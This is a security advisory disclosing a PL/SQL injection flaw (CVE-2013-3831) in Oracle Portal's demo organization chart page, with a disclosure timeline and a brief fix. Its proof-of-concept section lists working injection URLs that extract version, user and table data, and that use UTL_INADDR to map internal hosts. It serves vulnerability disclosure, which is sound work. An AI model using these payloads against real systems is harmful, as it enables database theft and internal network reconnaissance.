Oracle Portal Demo Organization Chart PL/SQL Injection

`=============================================  
INTERNET SECURITY AUDITORS ALERT 2012-001  
- Original release date: November 8th, 2012  
- Last revised: March 20th, 2013  
- Discovered by: Manuel Garcia Cardenas  
- Severity: 7,1/10 (CVSS Base Score)  
- CVE-ID: CVE-2013-3831  
=============================================  
  
I. VULNERABILITY  
-------------------------  
PL/SQL Injection in Oracle Portal Demo Organization Chart  
  
II. BACKGROUND  
-------------------------  
Web Organization Chart (Ora Version) is used to connect to the Oracle  
database. Ora version of "Web Organization Chart" selects information  
from the Oracle  
  
(HR) tables and converts it into a format that is readable for the  
Orgchart software.  
  
III. DESCRIPTION  
-------------------------  
This bug was found using the demo portal PORTAL_DEMO.ORG_CHART.SHOW. To  
exploit the vulnerability only is needed use the version 1.0 of the HTTP  
protocol to  
  
interact with the application. It is possible to inject SQL code in the  
variable "p_arg_values".  
  
IV. PROOF OF CONCEPT  
-------------------------  
*** SQL Injection ***  
  
Version:  
/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?  
  
p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union  
  
+select+banner,null,null,null,null+from+v$version--  
  
User:  
/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?  
  
p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union  
  
+select+user,null,null,null,null+from+dual--  
  
Actual Database:  
/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?  
  
p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union  
  
+select+global_name,null,null,null,null+from+global_name--  
  
Lists of Databases:  
/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?  
  
p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union  
  
+select+owner,null,null,null,null+from+all_tables--  
  
*** PL/SQL Injection ***  
  
For example, using the function UTL_INADDR.get_host_address we can found  
the internal address:  
  
/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?  
  
p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value'union  
  
+select+UTL_INADDR.get_host_address,null,null,null,null+from+dual--  
  
Using a bruteforce attack on the range obtained and the function  
UTL_INADDR.get_host_name(), we can acquire a list of internal hosts:  
  
/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW?  
  
p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value  
  
%27union+select+UTL_INADDR.get_host_name('INTERNALs-IP'),null,null,null,null+from+dual--  
  
V. BUSINESS IMPACT  
-------------------------  
Public defacement, confidential data leakage, and database server  
compromise can result from these attacks. Client systems can also be  
targeted, and complete  
  
compromise of these client systems is also possible.  
  
VI. SYSTEMS AFFECTED  
-------------------------  
Demo Page of Oracle Portal Demo Organization Chart.  
  
VII. SOLUTION  
-------------------------  
All data received by the application and can be modified by the user,  
before making any kind of transaction with them must be validated.  
  
VIII. REFERENCES  
-------------------------  
http://www.oracle.com  
http://www.isecauditors.com  
  
IX. CREDITS  
-------------------------  
This vulnerability has been discovered by Manuel García Cárdenas  
(mgarcia (at) isecauditors (dot) com).  
  
X. REVISION HISTORY  
-------------------------  
December 02, 2012: Initial release to Oracle.  
February 20, 2013: Last revision  
  
XI. DISCLOSURE TIMELINE  
-------------------------  
October 25, 2012: The vulnerability is discovered.  
December 2, 2012: Initial release to Oracle.  
February 20, 2013: Vulnerability already corrected but will  
not be included in CPUs. Credits in CPUApr2013.  
October 11, 2013: The following issue reported is fixed in  
the upcoming Critical Patch Update  
  
XII. LEGAL NOTICES  
-------------------------  
The information contained within this advisory is supplied "as-is" with  
no warranties or guarantees of fitness of use or otherwise. Internet  
Security  
  
Auditors accepts no responsibility for any damage caused by the use or  
misuse of this information.  
  
XIII. ABOUT  
-------------------------  
Internet Security Auditors is a Spain based leader in web application  
testing, network security, penetration testing, security compliance  
implementation and  
  
assessing. Our clients include some of the largest companies in areas  
such as finance, telecommunications, insurance, ITC, etc. We are vendor  
independent  
  
provider with a deep expertise since 2001. Our efforts in R&D include  
vulnerability research, open security project collaboration and  
whitepapers,  
  
presentations and security events participation and promotion. For  
further information regarding our security services, contact us.  
  
XIV. FOLLOW US  
-------------------------  
You can follow Internet Security Auditors, news and security advisories at:  
https://www.facebook.com/ISecAuditors  
https://twitter.com/ISecAuditors  
http://www.linkedin.com/company/internet-security-auditors  
http://www.youtube.com/user/ISecAuditors  
`